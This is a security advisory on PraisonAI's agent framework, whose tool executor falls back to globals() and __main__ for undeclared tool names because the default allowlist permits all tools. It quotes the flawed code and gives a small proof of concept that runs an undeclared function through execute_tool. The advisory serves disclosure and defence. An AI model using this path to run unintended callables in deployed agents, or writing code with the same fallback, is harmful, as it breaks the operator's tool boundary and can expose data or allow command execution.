PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute

Summary

praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.

Details

The vulnerable resolution path is in [tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734). After searching declared tools and the registry, execution falls back to globals() and then __main__:

func = None
for tool in self.tools if isinstance(self.tools, (list, tuple)) else []:
    ...

if func is None:
    try:
        from ..tools.registry import get_registry
        registry = get_registry()
        func = registry.get(function_name)
    except ImportError:
        pass

if func is None:
    func = globals().get(function_name)
    if not func:
        import __main__
        func = getattr(__main__, function_name, None)

If a callable is found, it is executed directly:

elif callable(func):
    casted_arguments = self._cast_arguments(func, arguments)
    return func(**casted_arguments)

The permission gate does not enforce a declared-tool allowlist by default. In [tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550), execution is only rejected if _perm_allow is non-None:

if self._perm_deny and function_name in self._perm_deny:
    return {"error": f"Tool '{function_name}' blocked by permission policy", "permission_denied": True}
if self._perm_allow is not None and function_name not in self._perm_allow:
    return {"error": f"Tool '{function_name}' not in allowed tools list", "permission_denied": True}

Default agent initialization sets _perm_allow = None, which means "allow all" rather than "allow only declared tools" in [agent.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):

self._perm_deny = frozenset()  # Permission tier deny set (empty = no denials)
self._perm_allow = None        # Permission tier allow set (None = allow all)

The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:

• [test_permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:56) asserts that a default Agent has _perm_allow is None.
• test_permissions.py explicitly checks that agent._check_tool_approval_sync("my_custom_tool", {}) passes for an undeclared tool name.

Empirical verification:

I verified the bypass locally on commit d8a8a786915dc67a7c3021e24f72458f2eac5d9c (v4.6.35) by defining a callable only in __main__, giving the agent an empty tools list, and invoking execute_tool() with that undeclared name. The tool executor ran the __main__ function anyway.

PoC

Environment

• Repo: MervinPraison/PraisonAI
• Commit: d8a8a786915dc67a7c3021e24f72458f2eac5d9c
• Verified against PyPI package versions available on May 3, 2026:
  • praisonaiagents 1.6.35
  • PraisonAI 4.6.35
• Python 3

Steps

1. From the repository root, run:

python3 - <<'PY'
import sys
from unittest.mock import MagicMock, patch

sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents')
from praisonaiagents.agent.tool_execution import ToolExecutionMixin

def sneaky(msg='ok'):
    return {'ran': msg}

class HookRunner:
    def execute_sync(self, *args, **kwargs):
        return []
    def is_blocked(self, results):
        return False

class Dummy(ToolExecutionMixin):
    def __init__(self):
        self.name = 'demo'
        self.tools = []
        self.chat_history = []
        self._hook_runner = HookRunner()
        self.context_manager = None
        self._doom_loop_tracker = None
        self._perm_deny = frozenset()
        self._perm_allow = None
        self._approval_backend = None

mock_registry = MagicMock()
mock_registry.approve_sync.return_value = MagicMock(approved=True, reason='mock', modified_args=None)
mock_registry.mark_approved = MagicMock()

with patch('praisonaiagents.approval.get_approval_registry', return_value=mock_registry):
    agent = Dummy()
    print(agent.execute_tool('sneaky', {'msg': 'hello'}))
    print(mock_registry.approve_sync.call_args)
PY

Expected output

{'ran': 'hello'}
call('demo', 'sneaky', {'msg': 'hello'})

The important point is that sneaky was never declared in self.tools and was only present in __main__.

Impact

• Any deployment that lets an untrusted party influence tool-call names: undeclared application callables can run even though they were never registered as tools.
• Operators who rely on the declared tool list as a security boundary: that boundary is broken because unresolved names fall through to globals() and __main__.
• Applications that keep privileged helper functions in process scope: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.